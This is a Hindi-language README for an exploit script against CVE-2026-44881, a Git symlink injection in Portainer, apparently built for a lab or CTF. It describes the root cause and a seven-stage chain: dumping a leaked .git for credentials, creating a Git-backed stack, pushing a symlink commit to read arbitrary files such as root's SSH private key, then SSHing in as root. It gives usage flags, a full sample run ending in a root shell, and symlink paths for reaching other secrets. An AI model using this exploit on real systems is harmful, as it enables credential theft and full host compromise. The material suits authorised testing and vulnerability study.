
एकल-स्क्रिप्ट शोषण CVE-2026-44881 के लिए, जो Portainer में एक Git symlink injection है, जो स्टैक-निर्माण अधिकारों वाले कम-विशेषाधिकार प्राप्त प्रमाणित उपयोगकर्ता से मनमाना होस्ट फ़ाइल पढ़ने में सक्षम बनाता है।
CVE-2026-44881 के लिए एकल-स्क्रिप्ट शोषण, Portainer के स्टैक-तैनाती प्रवाह में एक Git सिमलिंक इंजेक्शन जो किसी भी निम्न-विशेषाधिकार प्रमाणित उपयोगकर्ता को स्टैक-निर्माण अधिकारों के साथ Portainer प्रक्रिया द्वारा पहुंच योग्य मनमानी फ़ाइलों को पढ़ने की अनुमति देता है।
परामर्श: GHSA-rpgq-m5fp-32wr प्रभावित: Portainer CE
2.33.0–2.33.7,2.39.0–2.39.1,2.40.xइसमें ठीक किया गया:2.33.8(LTS),2.39.2(LTS),2.41.0(STS)
यह कमजोरी दो आदिमों का संयोजन है:
go-git v5 git clone के दौरान मोड 0o120000 (सिमलिंक) वाली Git ट्री प्रविष्टियों को वास्तविक OS सिमलिंक में बदलता है। एकमात्र ब्लॉकलिस्टेड नाम .gitmodules है; हर दूसरा पथ — जिसमें docker-compose.yml भी शामिल है, जिसे Portainer स्टैक प्रवेश बिंदु के रूप में मानता है — एक मनमाना सापेक्ष लक्ष्य के साथ सिमलिंक हो सकता है।Service.GetFileContent (api/filesystem/filesystem.go) स्टैक प्रविष्टि फ़ाइल को os.ReadFile के साथ पढ़ता है, जो पारदर्शी रूप से OS सिमलिंक का अनुसरण करता है। JoinPaths इनपुट स्ट्रिंग में ../ को रोकता है लेकिन कभी filepath.EvalSymlinks को कॉल नहीं करता, इसलिए डिस्क पर पहले से मौजूद सिमलिंक अपने लक्ष्य तक पहुँच जाता है।Portainer सामान्यतः अपने कंटेनर के अंदर रूट के रूप में चलता है (Docker सॉकेट के लिए आवश्यक), इसलिए पढ़ने वाले आदिम की पहुंच वह सब है जो कंटेनर देख सकता है — सामान्यतः /data/portainer.db (प्रत्येक उपयोगकर्ता के पासवर्ड हैश + प्रत्येक API टोकन के साथ BoltDB), /var/run/secrets/kubernetes.io/serviceaccount/token पर Kubernetes सेवा-खाता टोकन, /run/secrets/ पर Docker Swarm रहस्य, और — उन तैनातियों में जो निगरानी के लिए होस्ट फ़ाइल सिस्टम को बाइंड-माउंट करती हैं — होस्ट का /etc/shadow, /root/.ssh/*, इत्यादि।
यह स्क्रिप्ट श्रृंखलाबद्ध करती है:
leaked .git on port 80
→ recover lowuser:password from commit history
→ Portainer login
→ create Git-backed stack with clean YAML (validation passes, stack persists)
→ push symlink commit, trigger /git/redeploy (validation fails, working tree IS updated)
→ GET /api/stacks/{id}/file (returns symlink target's content)
→ ssh -i stolen_key root@target
./exploit.sh -t 192.168.1.27
ip addr से हमलावर IP का स्वतः पता लगाता है और मानता है कि .git http://target/.git/ पर उजागर है। अपने वातावरण से मेल न खाने वाली किसी भी चीज़ को ओवरराइड करें:
-t, --target लक्ष्य IP (आवश्यक)
-a, --attacker git डेमॉन के लिए Portainer को विज्ञापित हमलावर IP (स्वतः पता लगाया गया)
-l, --leak-path उजागर .git निर्देशिका का पथ (डिफ़ॉल्ट: /.git)
-p, --portainer-port Portainer HTTP पोर्ट (डिफ़ॉल्ट: 9000)
-g, --git-port स्थानीय git डेमॉन पोर्ट (डिफ़ॉल्ट: 9418)
-w, --workdir स्क्रैच फ़ाइलों के लिए कार्यशील निर्देशिका (डिफ़ॉल्ट: mktemp)
-u, --user .git गणना छोड़ें; इस Portainer उपयोगकर्ता नाम का उपयोग करें
-P, --pass .git गणना छोड़ें; इस Portainer पासवर्ड का उपयोग करें
--no-creds-from-git .git चरण छोड़ें और -u/-P की आवश्यकता है
--no-ssh अंतिम SSH-इन चरण छोड़ें
-h, --help यह सहायता दिखाएँ और बाहर निकलें
$ ./exploit.sh -t 192.168.1.27
[+] Target : http://192.168.1.27:9000
[+] Attacker IP : 192.168.1.34
[+] Workdir : /tmp/cve44881-xxxx
=== Stage 1 — dump leaked /.git and recover creds ===
[+] git-dumper found, running it...
[+] git history:
3a1f9e2 oops: remove creds from repo, rotate before prod
b4c20a6 add trial onboarding env (temp, will move to vault)
d09a875 init: portal landing + ops notes
[+] Recovered creds: lowuser / lowuser-c0ntain3r-2026
=== Stage 2 — Portainer auth ===
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] Endpoint ID: 1
=== Stage 3 — host the bait Git repo on git://192.168.1.34:9418/repo.git ===
[+] git daemon up (pid 12345)
=== Stage 4 — create the Git-backed stack (clean YAML) ===
[+] Stack ID: 1
=== Stage 5 — push symlink commit + trigger redeploy ===
[+] redeploy response: {"message":"stack config file is invalid: top-level object must be a mapping"}
=== Stage 6 — GET /api/stacks/1/file ===
[+] leaked private key saved to /tmp/cve44881-xxxx/stolen_id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
=== Stage 7 — SSH in as root with leaked key ===
=== id ===
uid=0(root) gid=0(root) groups=0(root)
=== hostname ===
containerops
=== flag ===
b7d419c8a2f6e90315b7d419c8a2f6e9
=== Done — exploit complete ===
curl, jq, git (with git daemon), sshgit-dumper — pipx install git-dumper. यदि git-dumper गायब है तो स्क्रिप्ट एक न्यूनतम बिल्ट-इन डंब-HTTP गणक शामिल करती है जो सरल ढीली-वस्तु मामले को संभालती है, लेकिन किसी भी गैर-तुच्छ लीक .git निर्देशिका के लिए पूरा उपकरण अधिक विश्वसनीय है।/:/mnt/host:ro को मानती है और /mnt/host/root/.ssh/id_rsa पढ़ती है। अन्य फ़ाइलों को लक्षित करने के लिए, चरण 5 में सिमलिंक लक्ष्य को संपादित करें (../../../mnt/host/root/.ssh/id_rsa)। Portainer का go-billy chroot-जेल पूर्ण सिमलिंक को वर्कट्री में बंद कर देता है, इसलिए लक्ष्य सापेक्ष होना चाहिए।.git से पुनर्प्राप्त क्रेडेंशियल केवल Portainer-स्कोप्ड हैं — वे SSH या कोई सीधा होस्ट एक्सेस प्रदान नहीं करते। प्रयोगशाला इस प्रकार वायर्ड है कि होस्ट-स्तरीय RCE का एकमात्र तरीका स्वयं CVE के माध्यम से है।{"message":"stack config file is invalid"} के साथ प्रतिक्रिया देगा — यह मान्यकर्ता शिकायत कर रहा है कि SSH कुंजी मान्य YAML नहीं है। जब तक मान्यकर्ता चलता है, क्लोन पहले ही कार्यशील वृक्ष को ओवरराइट कर चुका होता है, जो कि हमें चाहिए।MIT. केवल अधिकृत परीक्षण और CTF / प्रयोगशाला उपयोग के लिए।